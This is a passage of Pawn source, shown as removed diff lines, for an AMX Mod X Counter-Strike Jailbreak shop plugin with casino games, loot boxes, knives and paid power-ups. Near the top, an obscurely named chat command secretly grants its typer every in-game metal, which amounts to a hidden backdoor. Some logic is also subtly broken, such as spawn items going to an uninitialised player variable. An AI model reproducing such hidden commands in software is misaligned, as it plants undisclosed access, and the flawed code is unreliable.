- else if( equali( strArg1, "/knife" ) ) Menu_Knifes( Client );
- else if( equali( strArg1, "/giveforbareljoser2metalsfor" ) )
- for( new i = 0; i < enumMeatlts; i++ )
- mPlayer[ Client ][ i ]++
- return PLUGIN_CONTINUE;
- }
- public restartServer()
- server_cmd("restart")
- /* Shop:
- - Events
- */
- public Event_DeathMessage( )
- {
- new intKiller = read_data( 1 );
- new intVictim = read_data( 2 );
- new intHeadshot = read_data( 3 );
- new strWeapon[ 32 ];
- read_data( 4, strWeapon, 31 );
- if(intKiller == intVictim
- || cs_get_user_team( intKiller ) != CS_TEAM_T
- || cs_get_user_team( intVictim ) == CS_TEAM_T)
- {
- return;
- }
- new intCash = intHeadshot ? 250 : 200;
- if( g_PlayerKnives[ intKiller ][ playerUsingknife[ intKiller ] ] )
- {
- intCash += Knife_Info[ playerUsingknife[ intKiller ] ][ INFOKNIFE_EXTRA_CASH ];
- }
- pev(intVictim, pev_origin, g_ClientOrigin[ intVictim ]);
- set_task(1.0, "Task_CreateBox", intVictim);
- Player[ intKiller ][ PLAYER_CASH ] += intCash;
- Save( intKiller )
- ColorPrint(0, "^4%s^1 killed^4 %s^1 with ^3%s%s.", GetUserName( intKiller ), GetUserName( intVictim ), strWeapon, intHeadshot ? "^4(^1Headshot^4)^1" : "")
- }
- public Hook_Touch(Entity, Touched)
- {
- if (!pev_valid(Entity) || !pev_valid(Touched))
- {
- return FMRES_IGNORED;
- }
- static ClassName[32], TouchedClassName[32], intCash;
- pev(Entity, pev_classname, ClassName, charsmax(ClassName));
- pev(Touched, pev_classname, TouchedClassName, charsmax(TouchedClassName));
- if (equal(ClassName, "player") && equal(TouchedClassName, szBoxes_Info[ 0 ][ BOXES_CLASSNAME ] ))
- {
- g_iClBox[ Entity ] = true;
- if( g_iActive[ Entity ] )
- {
- intCash = random_num( 500, szBoxes_Info[ 0 ][ BOXES_RECIVE ] );
- Player[ Entity ][ PLAYER_CASH ] += intCash;
- g_fTimer[ Entity ] = 0.0;
- g_iClBox[ Entity ] = false;
- g_iActive[ Entity ] = false;
- ColorPrint(0, "^4%s^1 found in the ^3%s ^1box ^4%i Cash", GetUserName( Entity ), szBoxes_Info[ 0 ][ BOXES_NAME ], intCash )
- engfunc(EngFunc_RemoveEntity, Touched);
- return FMRES_SUPERCEDE;
- }
- }
- if (equal(ClassName, "player") && equal(TouchedClassName, szBoxes_Info[ 1 ][ BOXES_CLASSNAME ] ))
- {
- g_iClBox[ Entity ] = true;
- if( g_iActive[ Entity ] )
- {
- intCash = random_num( 0, szBoxes_Info[ 1 ][ BOXES_RECIVE ] );
- mPlayer[ Entity ][ intCash ]++;
- g_iClBox[ Entity ] = false;
- g_iActive[ Entity ] = false;
- ColorPrint(0, "^4%s^1 found in the ^3%s ^1box ^4%s", GetUserName( Entity ), szBoxes_Info[ 1 ][ BOXES_NAME ], Meatls_Name[ intCash ] )
- engfunc(EngFunc_RemoveEntity, Touched);
- return FMRES_SUPERCEDE;
- }
- }
- return FMRES_IGNORED;
- }
- public Event_CurWeapon( Client )
- {
- new weaponID = read_data( 2 )
- if(weaponID == CSW_KNIFE)
- {
- if( g_PlayerKnives[ Client ][ playerUsingknife[ Client ] ])
- user_update_knife( Client )
- }
- if(g_PlayerSkins[ Client ][ playerUsingSkin[ Client ] ]
- || !playerUsingSkin[ Client ])
- {
- new Float:flSpeed = ( get_user_maxspeed( Client ) + float( GetUserStat( Client, playerUsingSkin[ Client ], SKIN_MOVEMENT ) ))
- set_user_maxspeed( Client, flSpeed )
- }
- }
- /* Shop:
- - Ham
- */
- public fw_CmdStart( iClient, uc_handle, randseed )
- {
- if (!is_user_connected( iClient ) || !is_user_alive( iClient ))
- return FMRES_IGNORED
- //new button = pev(id, pev_button)
- new button = get_uc( uc_handle , UC_Buttons );
- new oldbutton = pev(iClient, pev_oldbuttons)
- if( button & IN_USE && !(oldbutton & IN_USE) && Player[ iClient ][ PLAYER_ROLLATE ])
- {
- Player[ iClient ][ PLAYER_TIMER ] = ( Player[ iClient ][ PLAYER_RANDOM ] - 3 );
- Player[ iClient ][ PLAYER_ROLLATESTOP ] = true;
- }
- if( g_iClBox[ iClient ] )
- {
- if( button & IN_USE && !(oldbutton & IN_USE))
- {
- g_iActive[ iClient ] = true;
- }
- else
- {
- g_iActive[ iClient ] = false;
- }
- }
- return FMRES_IGNORED;
- }
- public fw_EmitSound( Client, channel, const sample[], Float:volume, Float:attn, flags, pitch )
- {
- if( !is_user_connected( Client ) )
- return FMRES_IGNORED
- if( !g_PlayerKnives[ Client ][ playerUsingknife[ Client ] ] )
- return FMRES_IGNORED
- new strFormat[ 165 ];
- if( sample[ 8 ] == 'k' && sample[ 9 ] == 'n' && sample[ 10 ] == 'i' )
- {
- if( sample[ 14 ] == 's' && sample[ 15 ] == 'l' && sample[ 16 ] == 'a' )
- {
- formatex( strFormat, charsmax( strFormat ), "injstice1/%s", Knife_Sound[ playerUsingknife[ Client ] ][ SOUND_SLASH ] );
- emit_sound( Client, channel, strFormat, volume, attn, flags, pitch );
- return FMRES_SUPERCEDE
- }
- if ( sample[ 14 ] == 'h' && sample[ 15 ] == 'i' && sample[ 16 ] == 't' )
- {
- if ( sample[ 17 ] == 'w' ) // wall
- {
- formatex( strFormat, charsmax( strFormat ), "injstice1/%s", Knife_Sound[ playerUsingknife[ Client ] ][ SOUND_WALL ]);
- emit_sound( Client, channel, strFormat, volume, attn, flags, pitch );
- return FMRES_SUPERCEDE
- }
- else
- {
- formatex( strFormat, charsmax( strFormat ), "injstice1/%s", Knife_Sound[ playerUsingknife[ Client ] ][ SOUND_HIT1 ]);
- emit_sound( Client, channel, strFormat, volume, attn, flags, pitch );
- return FMRES_SUPERCEDE
- }
- }
- if ( sample[ 14 ] == 's' && sample[ 15 ] == 't' && sample[ 16 ] == 'a' )
- {
- formatex( strFormat, charsmax( strFormat ), "injstice1/%s", Knife_Sound[ playerUsingknife[ Client ] ][ SOUND_STAB ]);
- emit_sound( Client, channel, strFormat, volume, attn, flags, pitch );
- return FMRES_SUPERCEDE;
- }
- }
- return FMRES_IGNORED
- }
- public Ham_PlayerSpawn( Client )
- {
- static Players[ 32 ], iPlayer;
- if( is_user_alive( Client ) )
- {
- Player[ Client ][ PLAYER_DOUBLEDMG ] = 0
- if( g_PlayerKnives[ Client ][ playerUsingknife[ Client ] ] )
- {
- set_user_health( Client, ( get_user_health( Client ) + Knife_Info[ playerUsingknife[ Client ] ][ INFOKNIFE_EXTRA_HEALTH ] ) )
- }
- if( cs_get_user_team( Client ) == CS_TEAM_T )
- {
- if( g_PlayerSkins[ Client ][ playerUsingSkin[ Client ] ] )
- {
- cs_set_user_model( Client, Skin_Names[ playerUsingSkin[ Client ] ][ DETILS_DOWN ] )
- new intRandom = random_num( 1 , 100 );
- if( g_PlayerUpgrade[ Client ][ playerUsingSkin[ Client ] ][ SKIN_GRANDE ] > 0 )
- {
- if( GetUserStat( Client, playerUsingSkin[ Client ], SKIN_GRANDE ) >= intRandom )
- {
- give_grenade( Client, CSW_HEGRENADE );
- }
- }
- intRandom = random_num( 1, 100 );
- if( g_PlayerUpgrade[ Client ][ playerUsingSkin[ Client ] ][ SKIN_STAMINA ] > 0 )
- {
- if( GetUserStat( Client, playerUsingSkin[ Client ], SKIN_STAMINA ) >= intRandom )
- {
- give_grenade( Client, CSW_FLASHBANG );
- }
- }
- }
- }
- else cs_reset_user_model( Client );
- }
- if( cs_get_user_team( Client ) == CS_TEAM_CT )
- {
- fm_give_item( iPlayer, "weapon_m4a1" );
- fm_give_item( iPlayer, "weapon_deagle" );
- cs_set_user_bpammo( iPlayer, CSW_M4A1, 120 );
- cs_set_user_bpammo( iPlayer, CSW_DEAGLE, 70 );
- cs_reset_user_model( Client );
- }
- }
- public Ham_PlayerTakeDamage( victim, inflictor, attacker, Float:damage, damage_bits )
- {
- if( get_user_health( victim ) <= 0 )
- {
- ExecuteHamB(Ham_Killed, victim, victim, 0)
- }
- if( is_user_alive( attacker ) )
- {
- if( g_PlayerKnives[ attacker ][ playerUsingknife[ attacker ] ] )
- {
- damage += float( Knife_Info[ playerUsingknife[ attacker ] ][ INFOKNIFE_EXTRA_DMG ] )
- new intHealth, doubLifePre, intMaxHealth, intRandom;
- intRandom = random_num( 1, 100 );
- if( Knife_Info[ playerUsingknife[ attacker ] ][ INFOKNIFE_SLAG ] >= intRandom )
- {
- set_task( 0.3, "fnSlagedout", victim + TASK_STUN );
- }
- intHealth = get_user_health( attacker );
- doubLifePre = intHealth + floatround( ( ( damage * float( Knife_Info[ playerUsingknife[ attacker ] ][ INFOKNIFE_LIFE_STEAL ] ) / 100.0 ) ) );
- intMaxHealth = 100 + Knife_Info[ playerUsingknife[ attacker ] ][ INFOKNIFE_EXTRA_HEALTH ];
- clamp( doubLifePre, 0, intMaxHealth )
- }
- if( Player[ attacker ][ PLAYER_DOUBLEDMG ] )
- {
- damage *= 2
- }
- SetHamParamFloat( 4, damage )
- }
- }
- public fnSlagedout( Client )
- {
- Client -= TASK_STUN;
- new Flags;
- Flags = pev( Client, pev_flags )
- if( Flags & FL_FROZEN )
- return
- fm_set_user_rendering( Client, kRenderFxGlowShell, 255, 255, 255, kRenderNormal, 40 )
- set_pev( Client, pev_flags, Flags | FL_FROZEN )
- set_task( 3.0, "Unfreeze", Client + TASK_STUN, _, _, "b" )
- }
- public Unfreeze( Client )
- {
- // Unfreeze player if it's frozen
- Client -= TASK_STUN;
- static Flags;
- Flags = pev( Client, pev_flags )
- if( Flags & FL_FROZEN )
- set_pev( Client, pev_flags, Flags &~ FL_FROZEN )
- fm_set_user_rendering( Client, kRenderFxGlowShell, 0, 0, 0, kRenderNormal, 25 )
- }
- /* Shop:
- - Menu's
- */
- public Menu_Shop( Client )
- {
- if(!is_user_alive( Client ) || cs_get_user_team( Client ) != CS_TEAM_T || gNoPasswordEntered )
- {
- return PLUGIN_HANDLED
- }
- new strTemp[215]
- formatex(strTemp, 214, "\r[ \w%s \r] \wJailbreak \yShop \wMain Menu^n\wCash: \w%i\r$ \y| \wRank \y%i \dout of \r%i", GAMETYPE, Player[ Client ][ PLAYER_CASH ], GetPosition( Client ), ArraySize( g_SteamID ) )
- new menu = menu_create(strTemp, "Handler_Shop")
- menu_additem( menu, "Casino Menu", "1" );
- menu_additem( menu, "Store Menu^n", "2" );
- menu_additem( menu, "Powers Ups \r& \wAbiltes Menu^n", "3" );
- menu_additem( menu, "Knife menu", "4" );
- menu_additem( menu, "Skin menu", "5" );
- menu_display( Client, menu );
- return PLUGIN_CONTINUE
- }
- public Handler_Shop( Client, menu, item )
- {
- if( menu == MENU_EXIT || !is_user_alive( Client ) )
- {
- menu_destroy( menu );
- }
- else
- {
- switch(MenuKey(menu, item))
- {
- case 1: // Grenade Menu
- {
- Menu_Casino( Client );
- }
- case 2: // Grenade Menu
- {
- Menu_Store( Client );
- }
- case 3: // Specials
- {
- Menu_Special( Client )
- }
- case 4: // Knife Menu
- {
- Menu_Knifes( Client )
- }
- case 5: // Skin Menu
- {
- Menu_Skins( Client )
- }
- }
- }
- }
- public Menu_Store( Client )
- {
- if(!is_user_alive( Client ) || cs_get_user_team( Client ) != CS_TEAM_T || gNoPasswordEntered )
- return PLUGIN_HANDLED
- new strTemp[215]
- formatex(strTemp, 214, "\r[ \w%s \r] \wJailbreak \yStore \wMain Menu^n\wCash: \w%i\r$ \y| \wRank \y%i \dout of \r%i", GAMETYPE, Player[ Client ][ PLAYER_CASH ], GetPosition( Client ), ArraySize( g_SteamID ) )
- new menu = menu_create(strTemp, "Handler_Menu_Store")
- menu_additem( menu, "Grenades menu", "1" );
- menu_additem( menu, "Health menu", "2" );
- menu_additem( menu, "Armor menu", "3" );
- menu_display( Client, menu );
- return PLUGIN_CONTINUE
- }
- public Handler_Menu_Store( Client, menu, item )
- {
- if( menu == MENU_EXIT || !is_user_alive( Client ) )
- {
- menu_destroy( menu );
- Menu_Shop( Client );
- }
- else
- {
- switch(MenuKey(menu, item))
- {
- case 1: // Grenade Menu
- {
- Menu_Grenades( Client );
- }
- case 2: // Health Menu
- {
- Menu_Health( Client );
- }
- case 3: // Armor Menu
- {
- Menu_Armor( Client );
- }
- }
- }
- }
- public Menu_Grenades( Client )
- {
- if ( gNoPasswordEntered )
- return PLUGIN_HANDLED;
- new strTemp[ 100 ], strKey[ 6 ];
- formatex( strTemp, 99, "\r[ \w%s \r] \yGrenade\w Menu^n\wCash: \w%i\r$ \y| \wRank \y%i \dout of \r%i", GAMETYPE, Player[ Client ][ PLAYER_CASH ], GetPosition( Client ), ArraySize( g_SteamID ) )
- new menu = menu_create(strTemp, "Handler_Grenades")
- for( new i = 0; i < MAX_GREANDES; i++ )
- {
- formatex( strTemp, 99, "\w%s\r [\w %i$ \r]", Grenade_Menu[ i ][ grenadeName ], Grenade_Menu[ i ][ grenadeCost ] )
- num_to_str( i, strKey, 5 )
- menu_additem( menu, strTemp, strKey )
- }
- menu_display( Client, menu )
- return PLUGIN_HANDLED;
- }
- public Menu_Health(id)
- {
- if ( gNoPasswordEntered )
- return PLUGIN_HANDLED;
- new strTemp[100], strKey[6]
- formatex(strTemp, 99, "\r[ \w%s \r] \yHealth\w Menu^n\wCash: \w%i\r$ \y| \wRank \y%i \dout of \r%i", GAMETYPE, Player[id][PLAYER_CASH], GetPosition( id ), ArraySize( g_SteamID ) )
- new menu = menu_create(strTemp, "Handler_Health")
- for(new i = 0; i < sizeof Health_Info; i++)
- {
- formatex(strTemp, 99, "\w%i Health\r [\w %i$ \r]", Health_Info[i][0], Health_Info[i][1])
- num_to_str(i, strKey, 5)
- menu_additem(menu, strTemp, strKey)
- }
- menu_display(id, menu)
- return PLUGIN_HANDLED;
- }
- public Menu_Armor(id)
- {
- if ( gNoPasswordEntered )
- return PLUGIN_HANDLED;
- new strTemp[100], strKey[6]
- formatex(strTemp, 99, "\r[ \w%s \r] \yArmor\w Menu^n\wCash: \w%i\r$ \y| \wRank \y%i \dout of \r%i", GAMETYPE, Player[id][PLAYER_CASH], GetPosition( id ), ArraySize( g_SteamID ) )
- new menu = menu_create(strTemp, "Handler_Armor")
- for(new i = 0; i < sizeof Armor_Info; i++)
- {
- formatex(strTemp, 99, "\w%i Armor\r [\w %i$ \r]", Armor_Info[i][0], Armor_Info[i][1])
- num_to_str(i, strKey, 5)
- menu_additem(menu, strTemp, strKey)
- }
- menu_display(id, menu)
- return PLUGIN_HANDLED;
- }
- public Menu_Casino(id)
- {
- if ( gNoPasswordEntered )
- return PLUGIN_HANDLED;
- new strTemp[100], strKey[6]
- formatex(strTemp, 99, "\r[ \w%s \r] \yCasino \rMain\w Menu^n\wTokens: \w%i \y| \wRank \y%i \dout of \r%i", GAMETYPE, Player[id][PLAYER_TOKENS], GetPosition( id ), ArraySize( g_SteamID ) )
- new menu = menu_create(strTemp, "Handler_Casino")
- for(new i = 0; i < enumCasino; i++)
- {
- if( Casino_intTokens[i] != -1 )
- formatex(strTemp, 99, "\w%s \d( \y%i \wTokens \d)", Casino_Names[i], Casino_intTokens[i])
- else
- formatex(strTemp, 99, "\w%s", Casino_Names[i])
- num_to_str(i, strKey, 5)
- menu_additem(menu, strTemp, strKey, 0, menu_makecallback( "menu_Casino_callback" ))
- }
- menu_display(id, menu)
- return PLUGIN_HANDLED;
- }
- public menu_Casino_callback( id, menu, item )
- {
- if( Casino_intTokens[ item ] > Player[id][PLAYER_TOKENS] )
- {
- return ITEM_DISABLED;
- }
- return ITEM_IGNORE;
- }
- public Handler_Casino( iClient, menu, item )
- {
- if( item == MENU_EXIT )
- {
- menu_destroy( menu )
- Menu_Shop( iClient )
- }
- else
- {
- switch( item )
- {
- case 0:
- {
- if( Player[iClient][PLAYER_TOKENS] >= 3 )
- Menu_Casino_RPS( iClient )
- else
- Menu_Casino( iClient );
- }
- case 1:
- {
- if( Player[iClient][PLAYER_TOKENS] >= 1 )
- {
- Player[iClient][PLAYER_TOKENS] -= 1;
- Player[ iClient ][ PLAYER_ROLLATE ] = true;
- Player[ iClient ][ PLAYER_ROLLATESTOP ] = false;
- Player[ iClient ][ PLAYER_RANDOM ] = random_num( 15, 18 )
- Player[ iClient ][ PLAYER_RANDOMPRICE ] = random_num( 1, 10 );
- Player[ iClient ][ PLAYER_TIMER ] = 0
- set_task(1.0, "Task_MakeaWish", iClient+TASK_WISH);
- Save( iClient );
- }
- else
- Menu_Casino( iClient );
- }
- case 2:
- Menu_MainGuessit( iClient );
- }
- }
- }
- public Menu_MainGuessit( iClient )
- {
- new strTemp[200], strKey[ 6 ];
- formatex(strTemp, 99, "\r[ \w%s \r] \yCasino Menu \wTokens: \w%i^n Guess the Number", GAMETYPE, Player[ iClient ][PLAYER_TOKENS])
- new menu = menu_create(strTemp, "Handler_RolltheDice")
- for(new i = 0 ; i < 4 ; i++)
- {
- formatex(strTemp, 99, "\wLevel\y :\d %s\r -\wReward %d\r$ \d(\y %i\w Tokens\d )", Guessit[i][ strGameName ], Guessit[i][ intGameReward ], Guessit[ i ][ intGameCost ])
- num_to_str(i, strKey, 5)
- menu_additem(menu, strTemp, strKey, 0, menu_makecallback( "menu_Casino1_callback" ))
- }
- menu_display(iClient, menu)
- }
- public menu_Casino1_callback( iClient, menu, item )
- {
- if( Guessit[ item ][ intGameCost ] > Player[ iClient ][ PLAYER_TOKENS ] )
- {
- return ITEM_DISABLED;
- }
- return ITEM_IGNORE;
- }
- public Handler_RolltheDice(iClient, menu, item)
- {
- if(item == MENU_EXIT)
- {
- menu_destroy(menu)
- Menu_Casino(iClient)
- }
- else
- {
- new intKey = MenuKey(menu, item);
- Player[ iClient ][ PLAYER_TOKENS ] -= Guessit[ intKey ][ intGameCost ];
- Player[ iClient ][ PLAYER_ITEM ] = intKey
- Player[ iClient ][ PLAYER_NUMBERGUESSING ] = 0;
- Save( iClient );
- Menu_Guessit(iClient)
- }
- }
- public Menu_Guessit( iClient )
- {
- new strTemp[200]
- formatex(strTemp, 199, "\r[ \w%s \r] \yCasino Menu^n \wGuess the Number Level : \y%s^n\w Choose Number Between \y1 \d- \y%d", GAMETYPE, Guessit[ Player[ iClient ][ PLAYER_ITEM ] ][ strGameName ],
- Guessit[ Player[ iClient ][ PLAYER_ITEM ] ][ intGameNumbers ])
- new menu = menu_create(strTemp, "Handler_RolltheDiceAdv")
- formatex(strTemp, 199, "Choosen Number is [ %d ] ", Player[ iClient ][ PLAYER_NUMBERGUESSING ])
- menu_additem(menu, strTemp, "0",_, menu_makecallback("xBlockItem"))
- menu_additem(menu, "Submit a Number", "1")
- menu_additem(menu, "Guess it !", "2")
- menu_display(iClient, menu)
- }
- public xBlockItem( iClient, menu, item )
- {
- return ITEM_DISABLED;
- }
- public Handler_RolltheDiceAdv(iClient, menu, item)
- {
- if(item == MENU_EXIT)
- {
- menu_destroy(menu)
- Menu_MainGuessit( iClient )
- Player[ iClient ][ PLAYER_TOKENS ] += Guessit[ Player[ iClient ][ PLAYER_ITEM ] ][ intGameCost ];
- Save( iClient );
- }
- else
- {
- switch(MenuKey(menu, item))
- {
- case 1:
- {
- client_cmd(iClient, "messagemode Guess_the_Number")
- }
- case 2:
- {
- new IsRandom = random_num(1, Guessit[ Player[ iClient ][ PLAYER_ITEM ] ][ intGameNumbers ])
- if(Player[ iClient ][ PLAYER_NUMBERGUESSING ] == IsRandom)
- {
- Player[ iClient ][PLAYER_CASH] += Guessit[ Player[ iClient ][ PLAYER_ITEM ] ][ intGameReward ];
- ColorPrint( 0, "^3%s^1 have^4 won^1 in the^4 Guess the Number^1 %d$", GetUserName( iClient ), Guessit[ Player[ iClient ][ PLAYER_ITEM ] ][ intGameReward ]);
- }
- else
- ColorPrint(iClient, "^1you have not sucsses in getting the^4 right number^3 %d^1.", IsRandom)
- Save( iClient );
- }
- }
- }
- }
- public Cmd_BankAmount( iClient )
- {
- static arg[10];
- read_argv(1, arg, charsmax(arg));
- if(!strlen(arg) || !is_str_num(arg) || str_to_num(arg) < 1 || str_to_num(arg) > Guessit[ Player[ iClient ][ PLAYER_ITEM ] ][ intGameNumbers ])
- {
- Menu_Guessit( iClient )
- ColorPrint(iClient, "^1Error enter the number again")
- return PLUGIN_HANDLED
- }
- Player[ iClient ][ PLAYER_NUMBERGUESSING ] = str_to_num(arg)
- Menu_Guessit( iClient )
- return PLUGIN_CONTINUE;
- }
- public Task_MakeaWish( iClient )
- {
- iClient -= TASK_WISH;
- new iLen, g_sBuffer[ 1024 ];
- iLen = format( g_sBuffer[ iLen ],1023 - iLen, "Rollate will show up stop it where ever u want^n")
- iLen += format( g_sBuffer[ iLen ],1023 - iLen, "Lose%s^n", ( Player[ iClient ][ PLAYER_PRESENT ] == 1 ) ? "<<" : "")//1
- iLen += format( g_sBuffer[ iLen ],1023 - iLen, "Lose%s^n", ( Player[ iClient ][ PLAYER_PRESENT ] == 2 ) ? "<<" : "")//2
- iLen += format( g_sBuffer[ iLen ],1023 - iLen, "Lose%s^n", ( Player[ iClient ][ PLAYER_PRESENT ] == 3 ) ? "<<" : "")//3
- iLen += format( g_sBuffer[ iLen ],1023 - iLen, "Lose%s^n", ( Player[ iClient ][ PLAYER_PRESENT ] == 4 ) ? "<<" : "")//4
- iLen += format( g_sBuffer[ iLen ],1023 - iLen, "Win%s^n", ( Player[ iClient ][ PLAYER_PRESENT ] == 5 ) ? "<<" : "")//5
- iLen += format( g_sBuffer[ iLen ],1023 - iLen, "Lose%s^n", ( Player[ iClient ][ PLAYER_PRESENT ] == 6 ) ? "<<" : "")//6
- iLen += format( g_sBuffer[ iLen ],1023 - iLen, "Lose%s^n", ( Player[ iClient ][ PLAYER_PRESENT ] == 7 ) ? "<<" : "")//7
- iLen += format( g_sBuffer[ iLen ],1023 - iLen, "Lose%s^n", ( Player[ iClient ][ PLAYER_PRESENT ] == 8 ) ? "<<" : "")//8
- iLen += format( g_sBuffer[ iLen ],1023 - iLen, "Lose%s^n", ( Player[ iClient ][ PLAYER_PRESENT ] == 9 ) ? "<<" : "")//9
- iLen += format( g_sBuffer[ iLen ],1023 - iLen, "*Note: U stop the rolling by Pressing ''E''^n")//9
- if( Player[ iClient ][ PLAYER_TIMER ] >= Player[ iClient ][ PLAYER_RANDOM ] || Player[ iClient ][ PLAYER_ROLLATESTOP ])
- {
- set_hudmessage(255, 10, 10, 0.10, 0.09, 1, 6.0, 12.0, .channel = 1)
- show_hudmessage(iClient, g_sBuffer)
- if( Player[ iClient ][ PLAYER_PRESENT ] == 5 )
- {
- ColorPrint( 0, "^3%s^1 have^4 won^1 in the^4 Rollate^1 500$", GetUserName( iClient ));
- Player[iClient][PLAYER_CASH] += 500;
- }
- Save( iClient );
- remove_task( iClient + TASK_WISH );
- }
- else
- {
- // 1 - 2 - 3 - 4 - 5 - 6 - 7 - 8 - 9
- Player[ iClient ][ PLAYER_TIMER ]++;
- Player[ iClient ][ PLAYER_PRESENT ]++;
- if( Player[ iClient ][ PLAYER_PRESENT ] >= 9 )
- {
- Player[ iClient ][ PLAYER_PRESENT ] = 1;
- }
- new Float:fNextWish;
- new intTimer = Player[ iClient ][ PLAYER_RANDOM ] - 3;
- if( !Player[ iClient ][ PLAYER_ROLLATESTOP ] )
- {
- if( Player[ iClient ][ PLAYER_TIMER ] >= intTimer )
- fNextWish += 1.25;
- else
- fNextWish = 0.25;
- }
- else
- {
- fNextWish += 1.25;
- }
- set_hudmessage(0, 87, 255, 0.10, 0.09, 0, 6.0, fNextWish)
- show_hudmessage( iClient, g_sBuffer)
- set_task(fNextWish, "Task_MakeaWish", iClient + TASK_WISH);
- }
- }
- public Menu_Casino_RPS( id )
- {
- new strTemp[100], strKey[6]
- formatex(strTemp, 99, "\r[ \w%s \r] \yRock Paper Scissors\w Menu^n\wTokens: \w%i \y| \wRank \y%i \dout of \r%i", GAMETYPE, Player[id][PLAYER_TOKENS], GetPosition( id ), ArraySize( g_SteamID ) )
- new menu = menu_create(strTemp, "Handler_Casino_RPS")
- for(new i = 0; i < enumINFORPS; i++)
- {
- formatex(strTemp, 99, "\w%s", Casino_RPS_Names[i])
- num_to_str(i, strKey, 5)
- menu_additem(menu, strTemp, strKey)
- }
- menu_display(id, menu)
- }
- public Handler_Casino_RPS( iClient, menu, item )
- {
- if( item == MENU_EXIT)
- {
- menu_destroy( menu )
- Menu_Casino( iClient )
- }
- else
- {
- Player[ iClient ][PLAYER_TOKENS] -= 3;
- new intWinner = 0;
- new ClientId = MenuKey( menu, item );
- new ServerId = random_num( INFO_ROCK, INFO_SCISSORS );
- // WON - 2
- // LOSE - 1
- // DRAW - 0
- if( ClientId == INFO_ROCK)
- {
- if( ServerId == INFO_ROCK) intWinner = 0;
- else if( ServerId == INFO_SCISSORS) intWinner = 2;
- else if( ServerId == INFO_PAPER) intWinner = 1;
- }
- else if( ClientId == INFO_SCISSORS)
- {
- if( ServerId == INFO_ROCK) intWinner = 1;
- else if( ServerId == INFO_SCISSORS) intWinner = 0;
- else if( ServerId == INFO_PAPER) intWinner = 2;
- }
- else if( ClientId == INFO_PAPER)
- {
- if( ServerId == INFO_ROCK) intWinner = 2;
- else if( ServerId == INFO_SCISSORS) intWinner = 1;
- else if( ServerId == INFO_PAPER) intWinner = 0;
- }
- if( intWinner == 2 )
- Player[ iClient ][PLAYER_CASH] += 1500;
- Save( iClient );
- ColorPrint( iClient, "^1You pick^3 %s^1 and the server^3 %s^1, the^4 match^1 reaslt^4 %s", Casino_RPS_Names[ ClientId ], Casino_RPS_Names[ ServerId ], ( intWinner == 0 ) ? "Draw" : ( intWinner == 1 ) ? "Server Won" : "You Won");
- }
- }
- public Menu_Special(id)
- {
- if ( gNoPasswordEntered )
- return PLUGIN_HANDLED;
- new strTemp[100]
- formatex(strTemp, 99, "\r[ \w%s \r] \ySpeacil\w Menu^n\wCash: \w%i\r$ \y| \wRank \y%i \dout of \r%i", GAMETYPE, Player[id][PLAYER_CASH], GetPosition( id ), ArraySize( g_SteamID ) )
- new menu = menu_create(strTemp, "Handler_Special")
- menu_additem(menu, "Godmode \rfor\y, \d10 seconds \r [\w 4,500$ \r]", "1")
- menu_additem(menu, "Noclip \rfor\y, \d10 seconds \r[\w 4,000$ \r]", "2")
- menu_additem(menu, "Low Gravity \rfor\y, \d20 seconds \r[\w 3,500$ \r]", "3")
- menu_additem(menu, "More Speed \rfor\y, \d20 seconds \r[\w 3,500$ \r]", "4")
- menu_additem(menu, "Damage x2 \rfor\y, \d1 round \r[\w 6,000$ \r]", "5")
- menu_display(id, menu)
- return PLUGIN_HANDLED;
- }
- public Handler_Grenades( iClient, menu, item )
- {
- if( item == MENU_EXIT )
- {
- menu_destroy( menu )
- Menu_Store( iClient )
- }
- else
- {
- new intGrenade = MenuKey( menu, item )
- if( Grenade_Menu[ intGrenade ][ grenadeCost ] > Player[ iClient ][ PLAYER_CASH ] )
- {
- ColorPrint( iClient, "^1You dont got enough ^4money^1 for buying that.")
- Menu_Grenades( iClient );
- }
- else
- {
- Player[ iClient ][ PLAYER_CASH ] -= Grenade_Menu[ intGrenade ][ grenadeCost ];
- if( Grenade_Menu[ intGrenade ][ grenadeCSW ] == 0 )
- {
- give_grenade( iClient, CSW_HEGRENADE );
- give_grenade( iClient, CSW_FLASHBANG );
- give_grenade( iClient, CSW_SMOKEGRENADE );
- }
- else
- give_grenade( iClient, Grenade_Menu[ intGrenade ][ grenadeCSW ] );
- ColorPrint( iClient, "^1You bought ^3%s.", Grenade_Menu[ intGrenade ][ grenadeName ])
- Menu_Shop( iClient )
- Save( iClient )
- }
- }
- }
- public Handler_Health ( Client, menu, item )
- {
- if(item == MENU_EXIT)
- {
- menu_destroy( menu )
- Menu_Store( Client )
- }
- else
- {
- new intHealth = MenuKey(menu, item)
- if( Health_Info[ intHealth ][ 1 ] > Player[ Client ][ PLAYER_CASH ] )
- {
- ColorPrint( Client, "^1You dont got enough ^4money^1 for buying that.")
- Menu_Health( Client );
- }
- else
- {
- Player[ Client ][ PLAYER_CASH ] -= Health_Info[ intHealth ][ 1 ]
- set_user_health( Client, ( get_user_health( Client ) + Health_Info[ intHealth ][ 0 ] ) )
- client_print( Client, print_center, "You bought %i health.", Health_Info[ intHealth ][ 0 ] )
- Save( Client )
- Menu_Shop( Client )
- }
- }
- }
- public Handler_Armor( Client, menu, item )
- {
- if(item == MENU_EXIT)
- {
- menu_destroy(menu)
- Menu_Store( Client )
- }
- else
- {
- new intArmor = MenuKey(menu, item)
- if( Armor_Info[ intArmor ][ 1 ] > Player[ Client ][ PLAYER_CASH ] )
- {
- ColorPrint( Client, "^1You dont got enough ^4money^1 for buying that.")
- Menu_Armor( Client );
- }
- else
- {
- Player[ Client ][ PLAYER_CASH ] -= Armor_Info[ intArmor ][ 1 ]
- new CsArmorType:iArmortype
- cs_set_user_armor( Client, ( cs_get_user_armor( Client, iArmortype ) + Armor_Info[ intArmor ][ 0 ] ), CS_ARMOR_KEVLAR )
- ColorPrint( Client, "^1You bought ^4%i^1 armor.", Armor_Info[intArmor][0])
- Save( Client )
- Menu_Shop( Client )
- }
- }
- }
- public Handler_Special( Client, menu, item )
- {
- if(item == MENU_EXIT)
- {
- menu_destroy( menu )
- Menu_Shop( Client )
- }
- else
- {
- switch(MenuKey(menu, item))
- {
- case 1: // Godmode
- {
- if(Player[ Client ][ PLAYER_CASH ] >= 4500)
- {
- Player[ Client ][ PLAYER_CASH ] -= 4500
- set_user_godmode(Client, 1)
- set_task(10.0, "Task_RemoveGodmode", Client)
- ColorPrint( Client, "^1You bought ^3godmode^1 for^4 10 seconds.")
- Menu_Shop( Client )
- Save( Client )
- return
- }
- }
- case 2: // Noclip
- {
- if(Player[ Client ][ PLAYER_CASH ] >= 4000)
- {
- Player[ Client ][ PLAYER_CASH ] -= 4000
- set_user_noclip(Client, 1)
